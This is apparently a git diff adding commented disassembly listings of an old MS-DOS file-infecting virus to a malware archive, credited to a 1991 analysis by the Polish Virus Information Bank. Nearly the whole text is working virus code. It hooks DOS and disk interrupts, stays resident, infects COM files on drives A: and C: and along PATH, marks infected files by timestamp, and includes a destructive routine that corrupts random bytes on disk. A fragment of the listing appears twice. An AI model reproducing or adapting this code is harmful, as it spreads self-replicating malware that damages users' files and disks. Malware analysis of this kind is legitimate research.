+03D0 B90900 MOV CX,0009 ; number of bytes +03D3 AC LODSB +03D4 AA STOSB +03D5 E2FC LOOP 03D3 + +03D7 8B3E9803 MOV DI,[0398] ; buffer +03DB 83C703 ADD DI,+03 +03DE 893EA203 MOV [03A2],DI +03E2 8B3E9803 MOV DI,[0398] +03E6 B86100 MOV AX,0061 ; drive 'a' +03E9 8805 MOV [DI],AL ; patch 'a:\*.com', 0 +03EB 8BD7 MOV DX,DI ; buffer +03ED E8AC00 CALL 049C ; find and infect one COM program + +03F0 BEA903 MOV SI,03A9 +03F3 8B3E9803 MOV DI,[0398] +03F7 B90900 MOV CX,0009 +03FA AC LODSB +03FB AA STOSB +03FC E2FC LOOP 03FA + +03FE 8B3E9803 MOV DI,[0398] +0402 B86300 MOV AX,0063 ; drive 'c' +0405 8805 MOV [DI],AL ; patch 'a:\*.com', 0 +0407 8BD7 MOV DX,DI +0409 E89000 CALL 049C ; find and infect one COM program + +040C 7203 JB 0411 + +040E E91302 JMP 0624 + +0411 BF2C00 MOV DI,002C ; environment +0414 8E05 MOV ES,[DI] +0416 BF0000 MOV DI,0000 +0419 BEA403 MOV SI,03A4 ; 'PATH=' +041C 46 INC SI +041D B85000 MOV AX,0050 ; 'P' +0420 B90080 MOV CX,8000 ; max block size +0423 2BCF SUB CX,DI +0425 7303 JAE 042A + +0427 E9FA01 JMP 0624 ; not found + +042A F2AE REPNZ SCASB +042C B90400 MOV CX,0004 +042F AC LODSB +0430 AE SCASB +0431 75E6 JNZ 0419 + +0433 E2FA LOOP 042F + +0435 8B369803 MOV SI,[0398] +0439 56 PUSH SI +043A 57 PUSH DI +043B 5E POP SI +043C 5F POP DI +043D 06 PUSH ES +043E 0E PUSH CS +043F 07 POP ES +0440 1F POP DS +0441 AC LODSB +0442 AA STOSB +0443 3C3B CMP AL,3B ; ';' end of path marker +0445 7409 JZ 0450 + +0447 3C00 CMP AL,00 ; end of block marker +0449 7402 JZ 044D + +044B EBF4 JMP 0441 ; end of block + +044D BE0000 MOV SI,0000 +0450 1E PUSH DS +0451 0E PUSH CS +0452 1F POP DS +0453 8F06A003 POP [03A0] +0457 89369E03 MOV [039E],SI +045B 4F DEC DI +045C 4F DEC DI + +; check for last character '\', add if necessary + +045D B05C MOV AL,5C ; '\' +045F 3805 CMP [DI],AL +0461 7403 JZ 0466 + +0463 47 INC DI +0464 8805 MOV [DI],AL +0466 47 INC DI + +; form new path ....\*.com, 0 + +0467 BEAC03 MOV SI,03AC ; *.com +046A 893EA203 MOV [03A2],DI +046E B90600 MOV CX,0006 ; length + +0471 AC LODSB +0472 AA STOSB +0473 E2FC LOOP 0471 + +0475 A19803 MOV AX,[0398] ; buffer +0478 8BD0 MOV DX,AX +047A E81F00 CALL 049C ; find and infect COM file + +047D 7203 JB 0482 + +047F E9A201 JMP 0624 + +0482 833E9E0300 CMP WORD PTR [039E],+00 +0487 7503 JNZ 048C + +0489 E99801 JMP 0624 + +048C A19803 MOV AX,[0398] +048F 8BF8 MOV DI,AX +0491 8B369E03 MOV SI,[039E] +0495 FF36A003 PUSH [03A0] +0499 1F POP DS +049A EBA5 JMP 0441 + +;--------------------------------- +; find and infect one COM program + +049C 0E PUSH CS +049D 07 POP ES +049E B8004E MOV AX,4E00 ; find first +04A1 B90300 MOV CX,0003 ; hiden, read only +04A4 E8DEFE CALL 0385 ; far call to INT 21h + +04A7 730C JAE 04B5 + +04A9 C3 RET + +04AA B44F MOV AH,4F ; find next +04AC B90300 MOV CX,0003 ; hiden, read only +04AF E8D3FE CALL 0385 ; far call to INT 21h + +04B2 7301 JAE 04B5 + +04B4 C3 RET + +; start infection + +04B5 8B3E9803 MOV DI,[0398] ; buffer +04B9 81C78000 ADD DI,0080 ; set DI to DTA +04BD 83C71A ADD DI,+1A ; file length +04C0 8B05 MOV AX,[DI] +04C2 2D0010 SUB AX,1000 ; minimum victim size +04C5 7215 JB 04DC ; file too small, find next + +04C7 8B05 MOV AX,[DI] ; file size +04C9 2DFFEF SUB AX,EFFF ; maximum file size +04CC 730E JAE 04DC ; file too big, find next + +04CE 83EF04 SUB DI,+04 ; file time stamp +04D1 8B05 MOV AX,[DI] +04D3 241F AND AL,1F ; extract seconds +04D5 3C18 CMP AL,18 ; 48 seconds +04D7 7403 JZ 04DC ; infected, find next + +04D9 EB03 JMP 04DE ; continue +04DB 90 NOP + +04DC EBCC JMP 04AA ; find next + +; copy file name to buffer + +04DE 83C708 ADD DI,+08 +04E1 8BF7 MOV SI,DI +04E3 8B3EA203 MOV DI,[03A2] +04E7 AC LODSB +04E8 AA STOSB +04E9 3C00 CMP AL,00 +04EB 75FA JNZ 04E7 + +; find new file length + +04ED 8B3E9803 MOV DI,[0398] +04F1 81C78000 ADD DI,0080 ; set DI to local DTA +04F5 83C71A ADD DI,+1A ; file length +04F8 8B05 MOV AX,[DI] +04FA 056906 ADD AX,0669 ; new file length +04FD FF369803 PUSH [0398] +0501 50 PUSH AX + +; clear flag Read Only + +0502 8B169803 MOV DX,[0398] +0506 B80043 MOV AX,4300 ; get attributes +0509 E879FE CALL 0385 ; far call to INT 21h + +050C 890EC805 MOV [05C8],CX ; store old attributes +0510 81E1FEFF AND CX,FFFE ; clear read only flag +0514 B80143 MOV AX,4301 ; set attributes +0517 E86BFE CALL 0385 ; far call to INT 21h + +051A 7233 JB 054F ; error, exit + +; open file for read/write + +051C B8023D MOV AX,3D02 ; open file for read/write +051F E863FE CALL 0385 ; far call to INT 21h + +0522 722B JB 054F ; error, exit + +; set 48 second in file time stamp + +0524 8BD8 MOV BX,AX ; hundle +0526 B80057 MOV AX,5700 ; get time stamp +0529 E859FE CALL 0385 ; far call to INT 21h + +052C 81E1E0FF AND CX,FFE0 ; clear seconds +0530 83C118 ADD CX,+18 ; set to 48 +0533 890ECA05 MOV [05CA],CX ; store for later +0537 8916CC05 MOV [05CC],DX + +; copy first 669h bytes of file to the end + +; read beginnig of file (669h bytes) + +053B B96906 MOV CX,0669 ; virus length +053E 81E90001 SUB CX,0100 ; size of PSP +0542 8B169803 MOV DX,[0398] +0546 81C20001 ADD DX,0100 ; buffer +054A B43F MOV AH,3F ; read file +054C E836FE CALL 0385 ; far call to INT 21h + +054F 7271 JB 05C2 ; error, exit + +; move file ptr back to BOF + +0551 8BFA MOV DI,DX +0553 BA0000 MOV DX,0000 +0556 B90000 MOV CX,0000 +0559 B80242 MOV AX,4202 ; move file ptr to EOF +055C E826FE CALL 0385 ; far call to INT 21h + +055F 7261 JB 05C2 ; error, exit + +; vrite virus code to file + +0561 8BD7 MOV DX,DI +0563 B96906 MOV CX,0669 ; virus length +0566 81E90001 SUB CX,0100 +056A B440 MOV AH,40 ; write file +056C E816FE CALL 0385 ; far call to INT 21h + +056F 7251 JB 05C2 ; error, exit + +; move file ptr to EOF + +0571 BA0000 MOV DX,0000 +0574 B90000 MOV CX,0000 +0577 B80042 MOV AX,4200 ; move file ptr to BOF +057A E808FE CALL 0385 ; far call to INT 21h + +057D 7243 JB 05C2 + +; write to file its beginning block + +057F 8F069803 POP [0398] +0583 FF369803 PUSH [0398] +0587 B96906 MOV CX,0669 ; end of virus code +058A 81E90001 SUB CX,0100 ; size of PSP +058E BA0001 MOV DX,0100 ; from buffer +0591 B440 MOV AH,40 ; write file +0593 E8EFFD CALL 0385 ; far call to INT 21h + +0596 722A JB 05C2 + ; error, exit + +; restore file time stamp + +0598 8B0ECA05 MOV CX,[05CA] ; restore time stamp +059C 8B16CC05 MOV DX,[05CC] ; restore date stamp +05A0 B80157 MOV AX,5701 ; set file time stamp +05A3 E8DFFD CALL 0385 ; far call to INT 21h + +; close file + +05A6 B43E MOV AH,3E ; close file +05A8 E8DAFD CALL 0385 ; far call to INT 21h + +; restore file attributes + +05AB 8F069803 POP [0398] +05AF 8F069803 POP [0398] +05B3 8B169803 MOV DX,[0398] +05B7 8B0EC805 MOV CX,[05C8] ; retore file attributes +05BB B80143 MOV AX,4301 ; set file attributes +05BE E8C4FD CALL 0385 ; far call to INT 21h + +05C1 C3 RET + +; exit after any error + +05C2 58 POP AX +05C3 8F069803 POP [0398] +05C7 C3 RET + +05C8 20 00 ; file attributes +05CA D8A8 ; file time stamp +05CC D516 ; file date stamp + +;----------------------------------------- +; intercept INT 24h and prepare local DTA + +; get INT 24h + +05CE B82435 MOV AX,3524 ; get INT 24h +05D1 E8B1FD CALL 0385 ; far call to INT 21h + +05D4 891EB203 MOV [03B2],BX +05D8 8C06B403 MOV [03B4],ES + +; set new INT 24h + +05DC B425 MOV AH,25 ; set +05DE B024 MOV AL,24 ; int 24h +05E0 BAB603 MOV DX,03B6 ; offset of new handler +05E3 E89FFD CALL 0385 ; far call to INT 21h + +; get current DTA + +05E6 B42F MOV AH,2F ; get DTA +05E8 E89AFD CALL 0385 ; far call to INT 21h + +05EB 8C069C03 MOV [039C],ES +05EF 891E9A03 MOV [039A],BX + +; set new local DTA + +05F3 B41A MOV AH,1A ; set DTA +05F5 0E PUSH CS +05F6 1F POP DS +05F7 8B169803 MOV DX,[0398] +05FB 81C28000 ADD DX,0080 +05FF E883FD CALL 0385 ; far call to INT 21h + +0602 C3 RET + +;------------------------- +; restore INT 24h and DTA + +; prepare registers + +0603 0E PUSH CS +0604 1F POP DS +0605 0E PUSH CS +0606 07 POP ES + +; restore INT 24h + +0607 B82425 MOV AX,2524 ; set INT 24h +060A 8B16B203 MOV DX,[03B2] +060E 8E1EB403 MOV DS,[03B4] +0612 E870FD CALL 0385 ; far call to INT 21h + +; retsore DTA + +0615 8B169A03 MOV DX,[039A] +0619 FF369C03 PUSH [039C] +061D 1F POP DS +061E B41A MOV AH,1A +0620 E862FD CALL 0385 ; far call to INT 21h + +0623 C3 RET + +;--------------------- +; exit to application + +0624 E8DCFF CALL 0603 ; restore INT 24h and DTA + +0627 0E PUSH CS +0628 1F POP DS +0629 BE3E06 MOV SI,063E ; start of oryginal code +062C 8B3E9803 MOV DI,[0398] ; length of victim + +; copy victim code + +0630 AC LODSB +0631 AA STOSB +0632 81FE6906 CMP SI,0669 +0636 75F8 JNZ 0630 + +0638 8B3E9803 MOV DI,[0398] ; RET address +063C 57 PUSH DI +063D C3 RET + +063E B96906 MOV CX,0669 +0641 81E90001 SUB CX,0100 +0645 8B369803 MOV SI,[0398] +0649 2BF1 SUB SI,CX +064B 0E PUSH CS +064C 1F POP DS +064D BF0001 MOV DI,0100 +0650 AC LODSB +0651 AA STOSB +0652 E2FC LOOP 0650 + +0654 33C0 XOR AX,AX +0656 33DB XOR BX,BX +0658 33C9 XOR CX,CX +065A 33D2 XOR DX,DX +065C 33F6 XOR SI,SI +065E BF0001 MOV DI,0100 +0661 57 PUSH DI +0662 33FF XOR DI,DI +0664 33ED XOR BP,BP +0666 C3 RET + +0667 90 NOP +0668 90 NOP + +; end resident part of virus +;----------------------------- +; victim code + diff --git a/MSDOS/Virus.MSDOS.Unknown.v1385.lst b/MSDOS/Virus.MSDOS.Unknown.v1385.lst new file mode 100644 index 00000000..e196371b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v1385.lst @@ -0,0 +1,905 @@ +;------------------------------------------------- +; Virus +; +; dissasembled by Andrzej Kadlof July 1991 +; +; (C) Polish section of Virus Information Bank +;------------------------------------------------ + +0100 E97801 JMP 027B + +; old INT 13h vector + +0103 7A0F +0105 7000 + +;==================== +; INT 13h handler + +0107 9C PUSHF +0108 50 PUSH AX +0109 53 PUSH BX +010A 51 PUSH CX +010B 52 PUSH DX +010C 1E PUSH DS +010D 06 PUSH ES +010E 57 PUSH DI + +010F 0E PUSH CS +0110 1F POP DS +0111 50 PUSH AX +0112 B000 MOV AL,00 +0114 3D0002 CMP AX,0200 ; request: read sectors? +0117 58 POP AX ; restore oryginal function number +0118 7571 JNZ 018B ; no, exit + +011A 80F900 CMP CL,00 ; first sector number (illegal) +011D 7518 JNZ 0137 ; not zero, not virus question + +011F 81FF3412 CMP DI,1234 ; question from new copy of virus +0123 7512 JNZ 0137 ; no + +; prepare answer for the question from next virsus copy + +0125 5F POP DI +0126 BF2143 MOV DI,4321 ; answer: I'm here! +0129 58 POP AX +012A 58 POP AX +012B A19901 MOV AX,[0199] ; old INT 21h +012E 50 PUSH AX +012F A19B01 MOV AX,[019B] +0132 50 PUSH AX +0133 57 PUSH DI +0134 EB55 JMP 018B ; exit +0136 90 NOP + +; check cylinder number, if not 4x + 2 or 4x + 3 then exit (x arbitrary) + +0137 51 PUSH CX +0138 81E100FC AND CX,FC00 +013C 80FD00 CMP CH,00 +013F 59 POP CX +0140 7449 JZ 018B ; exit + +; check time condition + +0142 51 PUSH CX +0143 52 PUSH DX +0144 B80000 MOV AX,0000 +0147 FB STI +0148 CD1A INT 1A ; read the clock + +014A 81E2FF0F AND DX,0FFF ; low word of tick count since reset +014E 83FA00 CMP DX,+00 ; about 3.7 min +0151 5A POP DX +0152 59 POP CX +0153 7536 JNZ 018B ; exit + +;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> +; +; DESTRUCTION! change one byte on the sector on the next track +; +;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +0155 9C PUSHF +0156 0E PUSH CS ; segment of return address +0157 B86601 MOV AX,0166 ; offset of return address +015A 50 PUSH AX +015B B80102 MOV AX,0201 ; read 1 sector +015E 80C501 ADD CH,01 ; next track +0161 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h + +0166 7223 JB 018B ; exit + +; get random number between 0 and 1FFh (minimal buffer size) + +0168 51 PUSH CX +0169 52 PUSH DX +016A B80000 MOV AX,0000 +016D FB STI +016E CD1A INT 1A ; read the clock + +0170 81E2FF01 AND DX,01FF ; low word of tick count since reset + +; change one byte inside buffer + +0174 53 PUSH BX ; offset of buffer +0175 03DA ADD BX,DX ; random byte in buffer +0177 26880F MOV ES:[BX],CL ; undefined value (first sector) +017A 5B POP BX ; restore buffer address + +; write buffer back to disk + +017B 5A POP DX ; disk/head +017C 59 POP CX ; track/sector +017D 9C PUSHF +017E 0E PUSH CS ; segment of return address +017F B88B01 MOV AX,018B ; offset of return address +0182 50 PUSH AX +0183 B80103 MOV AX,0301 ; write 1 sector +0186 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h + +; exit to old INT 13h + +018B 5F POP DI +018C 07 POP ES +018D 1F POP DS +018E 5A POP DX +018F 59 POP CX +0190 5B POP BX +0191 58 POP AX +0192 9D POPF +0193 2EFF2E0301 JMP DWORD PTR CS:[0103] ; INT 13h +0198 90 NOP + +;--------------- +; working area + +; old INT 21h vector + +0199 9E10 +019B 1801 + +019D 26 0D ; segment of environment block +019F 80 00 ; address of command line +01A1 2B 0D ; CS +01A3 5C 00 ; first FCB in PSP +01A5 2B 0D ; CS +01A7 6C 00 ; second FCB in PSP +01A9 2B 0D ; CS +01AB CF 01 ; runtime SP + +01AD 2B 0D ; old SS, CS +01AF 02 19 ; old SP + +;------------ +; local stack + +01B1 9D01 +01B3 857F +01B5 FF58 +01B7 2B0D +01B9 2F01 +01BB E37F +01BD D300 +01BF 0001 +02C1 2C00 +01C3 260D +02C5 2B0D +01C7 430C +01C9 2903 +01CB 2B0D +01CD 02F2 + +; end of local stack +;------------------- + +01CF 90 NOP +01D0 90 NOP + +;===================== +; INT 21h handler + +01D1 9C PUSHF +01D2 56 PUSH SI +01D3 50 PUSH AX +01D4 53 PUSH BX +01D5 51 PUSH CX +01D6 52 PUSH DX +01D7 1E PUSH DS +01D8 06 PUSH ES +01D9 57 PUSH DI +01DA 80FC4B CMP AH,4B ; load and execute +01DD 7555 JNZ 0234 ; exit + +01DF 1E PUSH DS +01E0 52 PUSH DX +01E1 0E PUSH CS +01E2 1F POP DS +01E3 C70698036906 MOV WORD PTR [0398],0669 ; virus length +01E9 E8E203 CALL 05CE ; intercept INT 24h and prepare local DTA + +01EC 5F POP DI +01ED 07 POP ES +01EE 06 PUSH ES +01EF 57 PUSH DI +01F0 B80000 MOV AX,0000 +01F3 B98000 MOV CX,0080 +01F6 F2AE REPNZ SCASB +01F8 83F900 CMP CX,+00 +01FB 7432 JZ 022F + +01FD 4F DEC DI +01FE B05C MOV AL,5C ; '\' +0200 4F DEC DI +0201 AE SCASB +0202 75F9 JNZ 01FD + +0204 57 PUSH DI +0205 59 POP CX +0206 5E POP SI +0207 1F POP DS +0208 0E PUSH CS +0209 07 POP ES +020A BF6906 MOV DI,0669 ; buffer (area behind virus code) +020D AC LODSB +020E AA STOSB +020F 3BF1 CMP SI,CX +0211 75FA JNZ 020D + +0213 0E PUSH CS +0214 1F POP DS +0215 893EA203 MOV [03A2],DI +0219 BEAC03 MOV SI,03AC +021C B90600 MOV CX,0006 +021F AC LODSB +0220 AA STOSB +0221 E2FC LOOP 021F + +0223 BA6906 MOV DX,0669 +0226 E87302 CALL 049C ; find and infect one COM file + +0229 E8D703 CALL 0603 ; restore DTA and INT 24h + +022C EB06 JMP 0234 ; exit +022E 90 NOP + +022F 58 POP AX +0230 58 POP AX +0231 E8CF03 CALL 0603 ; restore DTA and INT 24h + +; exit to old INT 21h + +0234 90 NOP +0235 5F POP DI +0236 07 POP ES +0237 1F POP DS +0238 5A POP DX +0239 59 POP CX +023A 5B POP BX +023B 58 POP AX +023C 5E POP SI +023D 9D POPF +023E 2EFF2E9901 JMP DWORD PTR CS:[0199] +0243 90 NOP + +;------------------------ +; prepare Load & Execute + +0244 8CC0 MOV AX,ES +0246 8BE8 MOV BP,AX +0248 8BD7 MOV DX,DI ; offset of victim name +024A 8CC8 MOV AX,CS +024C 8EC0 MOV ES,AX ; segment of victim name +024E BB9D01 MOV BX,019D ; run parameters +0251 06 PUSH ES +0252 53 PUSH BX +0253 8CC8 MOV AX,CS ; block segment +0255 8EC0 MOV ES,AX +0257 BBD300 MOV BX,00D3 ; block size in paragraphs +025A B44A MOV AH,4A ; resize memory block + +025C CD21 INT 21 + +; free environment block + +025E BF2C00 MOV DI,002C ; address of environment block in PSP +0261 8E05 MOV ES,[DI] ; segment of environment +0263 B80049 MOV AX,4900 ; free memory block +0266 CD21 INT 21 + +0268 5B POP BX +0269 07 POP ES +026A 58 POP AX +026B 8C0EAD01 MOV [01AD],CS +026F 8E16AD01 MOV SS,[01AD] +0273 8B26AB01 MOV SP,[01AB] +0277 8EDD MOV DS,BP +0279 50 PUSH AX +027A C3 RET + +;=========================== +; virus entry point + +; look for resident part of virus in RAM +; on system with 3 floppy drives this test may hang the computer +; (unspecified I/O buffer BX) + +027B B203 MOV DL,03 ; third floppy drive +027D B600 MOV DH,00 ; head 0 +027F B100 MOV CL,00 ; first sector 0 +0281 B500 MOV CH,00 ; track +0283 B80102 MOV AX,0201 ; read 1 sector +0286 BF3412 MOV DI,1234 ; is already in memory? +0289 CD13 INT 13 + +028B 81FF2143 CMP DI,4321 ; expected answer +028F 7503 JNZ 0294 ; memory is clear + +0291 E92601 JMP 03BA ; exit + +; intercept INT 21h and INT 13h + +0294 B82135 MOV AX,3521 ; get INT 21h +0297 CD21 INT 21 + +0299 891E9901 MOV [0199],BX +029D 8C069B01 MOV [019B],ES +02A1 BAD101 MOV DX,01D1 +02A4 B82125 MOV AX,2521 ; set INT 21h +02A7 CD21 INT 21 + +02A9 B435 MOV AH,35 ; get INT 13h +02AB B013 MOV AL,13 +02AD CD21 INT 21 + +02AF 891E0301 MOV [0103],BX +02B3 8C060501 MOV [0105],ES +02B7 B425 MOV AH,25 ; set INT 13h +02B9 B013 MOV AL,13 +02BB BA0701 MOV DX,0107 +02BE CD21 INT 21 + +; prepare Load & Execute + +02C0 BF2C00 MOV DI,002C ; address of environment in PSP +02C3 8B05 MOV AX,[DI] +02C5 A39D01 MOV [019D],AX +02C8 8C0EA101 MOV [01A1],CS +02CC C7069F018000 MOV WORD PTR [019F],0080 ; command line +02D2 8C0EA501 MOV [01A5],CS +02D6 C706A3015C00 MOV WORD PTR [01A3],005C ; first FCB in PSP +02DC 8C0EA901 MOV [01A9],CS +02E0 C706A7016C00 MOV WORD PTR [01A7],006C ; second FCB + +; look for program name (DOS 3.x or higher) + +02E6 FC CLD +02E7 BF2C00 MOV DI,002C ; segment of environment block +02EA 8E05 MOV ES,[DI] +02EC BF0000 MOV DI,0000 ; start of environment + +02EF B80000 MOV AX,0000 ; end of block marker +02F2 B90080 MOV CX,8000 ; maxim block size +02F5 2BCF SUB CX,DI ; end of block +02F7 7230 JB 0329 ; not found + +02F9 F2AE REPNZ SCASB +02FB B80000 MOV AX,0000 +02FE AE SCASB +02FF 75EE JNZ 02EF + +0301 B80100 MOV AX,0001 +0304 AE SCASB +0305 7522 JNZ 0329 + +0307 B80000 MOV AX,0000 +030A AE SCASB +030B 751C JNZ 0329 + +030D E834FF CALL 0244 ; prepare Load & Execute + +0310 B8004B MOV AX,4B00 ; load and execute +0313 E86F00 CALL 0385 ; INT 21h + +; clear environment block + +0316 0E PUSH CS +0317 1F POP DS +0318 BF2C00 MOV DI,002C ; environment +031B B80000 MOV AX,0000 ; end of block marker +031E 8905 MOV [DI],AX ; start of block +0320 BAD300 MOV DX,00D3 ; size of virus block in paragraphs +0323 B80031 MOV AX,3100 ; terminate and state resident +0326 E85C00 CALL 0385 ; far call to INT 21h + +; victim name not found (DOS < 3.0) +; execute command >C:\COMMAND.COM /P + +0329 E818FF CALL 0244 ; prepare Load & Execute +032C 0E PUSH CS +032D 1F POP DS +032E BA7603 MOV DX,0376 ; 'c:\command.com',0 +0331 57 PUSH DI +0332 BF8000 MOV DI,0080 ; command line +0335 C705022F MOV WORD PTR [DI],2F02 ; 2, '/' +0339 C74502500D MOV WORD PTR [DI+02],0D50 ; 'P', CR +033E 5F POP DI +033F B8004B MOV AX,4B00 ; load and execute +0342 E84000 CALL 0385 ; far call to INT 21h + +0345 B86300 MOV AX,0063 ; 'c' +0348 57 PUSH DI +0349 BF7603 MOV DI,0376 ; 'c:\command.com',0 +034C 8805 MOV [DI],AL +034E 5F POP DI +034F B8004B MOV AX,4B00 ; load and execute +0352 E83000 CALL 0385 ; far call to INT 21h + +; restore INT 13h + +0355 B81325 MOV AX,2513 ; set INT 13h +0358 8B160301 MOV DX,[0103] +035C FF360501 PUSH [0105] +0360 1F POP DS +0361 CD21 INT 21 + +; restore INT 13h + +0363 B82125 MOV AX,2521 +0366 8B169901 MOV DX,[0199] +036A FF369B01 PUSH [019B] +036E 1F POP DS +036F CD21 INT 21 + +0371 0E PUSH CS +0372 1F POP DS +0373 EB45 JMP 03BA +0375 90 NOP + +0376 63 3A 5C 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 ; c:\COMMAND.COM + +;--------------------- +; FAR CALL to INT 21h + +0385 2E8F069603 POP CS:[0396] ; offset of caller +038A 9C PUSHF ; prepare jump to INT 21h +038B 0E PUSH CS ; segment of return address +038C 2EFF369603 PUSH CS:[0396] ; offset of return addres +0391 2EFF2E9901 JMP DWORD PTR CS:[0199] ; CALL FAR INT 13h + +;-------------- +; working area + +0396 96 05 ; place for offset of return address +0398 60 D2 ; length of victim +039A 80 00 ; old DTA offset +039C C2 0A ; old DTA segment +039E 00 00 ; counter ? +03A0 00 00 ; DS +03A2 FA CC ; working, end of path +03A4 50 41 54 48 3D ; PATH= +03A9 61 3A 5C 2A 2E 63 6F 6D 00 ; a:\*.com, 0 + +; old INT 24h + +03B2 49 01 ; offset +03B4 48 09 ; segment + +;================== +; INT 24h handler + +03B6 90 NOP +03B7 B003 MOV AL,03 +03B9 CF IRET + +;--------------------------------- +; virus alredy resident, continue + +03BA 06 PUSH ES +03BB 1E PUSH DS +03BC 0E PUSH CS +03BD 1F POP DS +03BE 8F069901 POP [0199] ; old INT 21h offset +03C2 8F069B01 POP [019B] ; old INT 21h segment +03C6 E80502 CALL 05CE ; prepare INT 24h and DTA + +03C9 BEA903 MOV SI,03A9 ; address of 'a:\*.com, 0' +03CC 8B3E9803 MOV DI,[0398] ; buffer outside viruse code +03D0 B90900 MOV CX,0009 ; number of bytes +03D3 AC LODSB +03D4 AA STOSB +03D5 E2FC LOOP 03D3 + +03D7 8B3E9803 MOV DI,[0398] ; buffer +03DB 83C703 ADD DI,+03 +03DE 893EA203 MOV [03A2],DI +03E2 8B3E9803 MOV DI,[0398] +03E6 B86100 MOV AX,0061 ; drive 'a' +03E9 8805 MOV [DI],AL ; patch 'a:\*.com', 0 +03EB 8BD7 MOV DX,DI ; buffer +03ED E8AC00 CALL 049C ; find and infect one COM program + +03F0 BEA903 MOV SI,03A9 +03F3 8B3E9803 MOV DI,[0398] +03F7 B90900 MOV CX,0009 +03FA AC LODSB +03FB AA STOSB +03FC E2FC LOOP 03FA + +03FE 8B3E9803 MOV DI,[0398] +0402 B86300 MOV AX,0063 ; drive 'c' +0405 8805 MOV [DI],AL ; patch 'a:\*.com', 0 +0407 8BD7 MOV DX,DI +0409 E89000 CALL 049C ; find and infect one COM program + +040C 7203 JB 0411 + +040E E91302 JMP 0624 + +0411 BF2C00 MOV DI,002C ; environment +0414 8E05 MOV ES,[DI] +0416 BF0000 MOV DI,0000 +0419 BEA403 MOV SI,03A4 ; 'PATH=' +041C 46 INC SI +041D B85000 MOV AX,0050 ; 'P' +0420 B90080 MOV CX,8000 ; max block size +0423 2BCF SUB CX,DI +0425 7303 JAE 042A + +0427 E9FA01 JMP 0624 ; not found + +042A F2AE REPNZ SCASB +042C B90400 MOV CX,0004 +042F AC LODSB +0430 AE SCASB +0431 75E6 JNZ 0419 + +0433 E2FA LOOP 042F + +0435 8B369803 MOV SI,[0398] +0439 56 PUSH SI +043A 57 PUSH DI +043B 5E POP SI +043C 5F POP DI +043D 06 PUSH ES +043E 0E PUSH CS +043F 07 POP ES +0440 1F POP DS +0441 AC LODSB +0442 AA STOSB +0443 3C3B CMP AL,3B ; ';' end of path marker +0445 7409 JZ 0450 + +0447 3C00 CMP AL,00 ; end of block marker +0449 7402 JZ 044D + +044B EBF4 JMP 0441 ; end of block + +044D BE0000 MOV SI,0000 +0450 1E PUSH DS +0451 0E PUSH CS +0452 1F POP DS +0453 8F06A003 POP [03A0] +0457 89369E03 MOV [039E],SI +045B 4F DEC DI +045C 4F DEC DI + +; check for last character '\', add if necessary + +045D B05C MOV AL,5C ; '\' +045F 3805 CMP [DI],AL +0461 7403 JZ 0466 + +0463 47 INC DI +0464 8805 MOV [DI],AL +0466 47 INC DI + +; form new path ....\*.com, 0 + +0467 BEAC03 MOV SI,03AC ; *.com +046A 893EA203 MOV [03A2],DI +046E B90600 MOV CX,0006 ; length + +0471 AC LODSB +0472 AA STOSB +0473 E2FC LOOP 0471 + +0475 A19803 MOV AX,[0398] ; buffer +0478 8BD0 MOV DX,AX +047A E81F00 CALL 049C ; find and infect COM file + +047D 7203 JB 0482 + +047F E9A201 JMP 0624 + +0482 833E9E0300 CMP WORD PTR [039E],+00 +0487 7503 JNZ 048C + +0489 E99801 JMP 0624 + +048C A19803 MOV AX,[0398] +048F 8BF8 MOV DI,AX +0491 8B369E03 MOV SI,[039E] +0495 FF36A003 PUSH [03A0] +0499 1F POP DS +049A EBA5 JMP 0441 + +;--------------------------------- +; find and infect one COM program + +049C 0E PUSH CS +049D 07 POP ES +049E B8004E MOV AX,4E00 ; find first +04A1 B90300 MOV CX,0003 ; hiden, read only +04A4 E8DEFE CALL 0385 ; far call to INT 21h + +04A7 730C JAE 04B5 + +04A9 C3 RET + +04AA B44F MOV AH,4F ; find next +04AC B90300 MOV CX,0003 ; hiden, read only +04AF E8D3FE CALL 0385 ; far call to INT 21h + +04B2 7301 JAE 04B5 + +04B4 C3 RET + +; start infection + +04B5 8B3E9803 MOV DI,[0398] ; buffer +04B9 81C78000 ADD DI,0080 ; set DI to DTA +04BD 83C71A ADD DI,+1A ; file length +04C0 8B05 MOV AX,[DI] +04C2 2D0010 SUB AX,1000 ; minimum victim size +04C5 7215 JB 04DC ; file too small, find next + +04C7 8B05 MOV AX,[DI] ; file size +04C9 2DFFEF SUB AX,EFFF ; maximum file size +04CC 730E JAE 04DC ; file too big, find next + +04CE 83EF04 SUB DI,+04 ; file time stamp +04D1 8B05 MOV AX,[DI] +04D3 241F AND AL,1F ; extract seconds +04D5 3C18 CMP AL,18 ; 48 seconds +04D7 7403 JZ 04DC ; infected, find next + +04D9 EB03 JMP 04DE ; continue +04DB 90 NOP + +04DC EBCC JMP 04AA ; find next + +; copy file name to buffer + +04DE 83C708 ADD DI,+08 +04E1 8BF7 MOV SI,DI +04E3 8B3EA203 MOV DI,[03A2] +04E7 AC LODSB +04E8 AA STOSB +04E9 3C00 CMP AL,00 +04EB 75FA JNZ 04E7 + +; find new file length + +04ED 8B3E9803 MOV DI,[0398] +04F1 81C78000 ADD DI,0080 ; set DI to local DTA +04F5 83C71A ADD DI,+1A ; file length +04F8 8B05 MOV AX,[DI] +04FA 056906 ADD AX,0669 ; new file length +04FD FF369803 PUSH [0398] +0501 50 PUSH AX + +; clear flag Read Only + +0502 8B169803 MOV DX,[0398] +0506 B80043 MOV AX,4300 ; get attributes +0509 E879FE CALL 0385 ; far call to INT 21h + +050C 890EC805 MOV [05C8],CX ; store old attributes +0510 81E1FEFF AND CX,FFFE ; clear read only flag +0514 B80143 MOV AX,4301 ; set attributes +0517 E86BFE CALL 0385 ; far call to INT 21h + +051A 7233 JB 054F ; error, exit + +; open file for read/write + +051C B8023D MOV AX,3D02 ; open file for read/write +051F E863FE CALL 0385 ; far call to INT 21h + +0522 722B JB 054F ; error, exit + +; set 48 second in file time stamp + +0524 8BD8 MOV BX,AX ; hundle +0526 B80057 MOV AX,5700 ; get time stamp +0529 E859FE CALL 0385 ; far call to INT 21h + +052C 81E1E0FF AND CX,FFE0 ; clear seconds +0530 83C118 ADD CX,+18 ; set to 48 +0533 890ECA05 MOV [05CA],CX ; store for later 